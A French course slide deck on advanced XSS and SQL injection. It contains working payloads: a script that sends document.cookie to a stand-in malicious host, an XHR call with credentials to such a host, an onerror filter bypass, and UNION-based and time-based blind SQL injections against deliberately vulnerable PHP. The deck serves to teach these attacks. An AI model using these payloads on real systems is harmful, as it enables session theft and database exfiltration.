XSS & SQL avancés

28 septembre 2021

Principe

```
1 Ceci est mon commentaire...
2 <script>
3 alert("Injection de code !");
4 </script>
```

Exploitation

```
1 Ceci est mon commentaire...
2 <script>
3 window.location="sitemalveillant.com/" + encodeURI(
  ↪  document.cookie );
4 </script>
```

```
1  <!DOCTYPE html>
2  <html>
3      <head>
4          <meta charset="UTF-8">
5          <title>Page des commentaires !</title>
6      </head>
7      <body>
8          <div class='commentaire'>
9              Ceci est mon commentaire...
10             <script>
11             window.location="sitemalveillant.com/" +
               ↪  encodeURI(document.cookie);
12             </script>
13         </div>
14     </body>
15 </html>
```

Filtre basique

Protection possible : filtrer les messages pour neutraliser les balises `<script> </script>`

Ex : remplacer les balises `<script> </script>` par `&lt;script&gt; &lt;script&gt;`

Avantage : relativement simple
Inconvénient : simpliste, difficile de faire un filtre exhaustif

Contournement du filtre basique

```
1 Ceci est mon commentaire...
2 <img src=0 onerror="alert(1)">
```

Protection basique

HttpOnly : cookie inaccessible via JavaScript, uniquement par HTTP

Contournement : attaque CRSF (*Cross-site request forgery*)

Contournement

```
1  var xhr = new XmlHttpRequest();
2  xhr.open("GET", "http://site-malveillant.com/",
   ↪  true);
3  xhr.withCredentials = true;
4  xhr.send(null);
```

Code vulnérable

```
1  ...
2  <?php
3  $sql = "SELECT * FROM chall
4  WHERE is_public=1 AND message LIKE
   ↪  '%{$_REQUEST['search']}%'";
5
6  if ($search) {
7      echo("Résultats pour : ".$search."<br>");
8  }
9
10 $result = $db->query($sql);
11 ?>
12 ...
```

Injection

On envoie ceci dans le formulaire :

```
1 ' OR 1=1 -- -
```

Résultat :

```
1 SELECT ... LIKE '%' OR 1=1 -- -
```

```
...
<?php
$sql = "SELECT id, name, description, price,
↪  quantity FROM produits
WHERE description LIKE '%{$_REQUEST['search']}%'";
if ($search) {
    echo("Résultats pour : ".$search."<br>");
}
$results = $db->query($sql);
foreach($results as $r) {
    echo($r.name . " | "  $r.price . " | " .
    ↪  $r.quantity . "\n" . $r.description);
}
?>
...
```

Exemple de table

produits				
id	name	description	price	quantity
1	téléphone	Permet de téléphoner	400	26
2	gamecube	Console de salon	250	4
		...		

???				
id	identifiant	password	address	...
1	acheteur	azerty123	400	
2	lemasque	motdepasse123	250	
		...		

Comment atteindre l'autre table ?

Trouver les noms

```sql
SELECT table_schema, table_name FROM
 ↪  information_schema.columns
WHERE column_name = 'username';
-- Touve les tables qui ont une colonne nommée
 ↪  'username'
```

Union

Opérateur UNION en SQL : concatène les résultats de deux requêtes

```sql
SELECT id, name FROM produits
UNION
SELECT identifiant, password FROM users
```

1	téléphone
2	gamecube
...	...
acheteur	azerty123
lemasque	motdepasse123
...	...

Tentative d'exploitation

```sql
SELECT id, name, description, price, quantity
FROM produits
WHERE description LIKE '%'
UNION
SELECT table_schema, table_name
FROM information_schema.columns -- -%'
```

Erreur $\rightarrow$ utilisation incorrecte d'UNION

Attaque fonctionnelle

```sql
SELECT id, name, description, price, quantity
FROM produits
WHERE description LIKE '%'
UNION
SELECT table_schema, table_name, 1, 1, 1
FROM information_schema.columns -- -%'
```

Problème → On ne voit pas les bonnes colonnes !

Attaque correcte

```sql
SELECT table_schema, table_name, 1, 1, 1
FROM information_schema.columns -- -%'
```

```sql
SELECT 1, table_schema, table_name, 1, 1
FROM information_schema.columns -- -%'
```

Principe général

Parfois, pas de retour visible des résultats

Utilisation de `SLEEP()` avec par exemple des `IF`, des `ELSIF` et `ELSE`

```
1 SELECT id, username FROM users WHERE id = -1 OR
2 (SELECT SLEEP(3) FROM users WHERE id=1
3 AND SUBSTR(password, 2, 4) LIKE '%a%')
```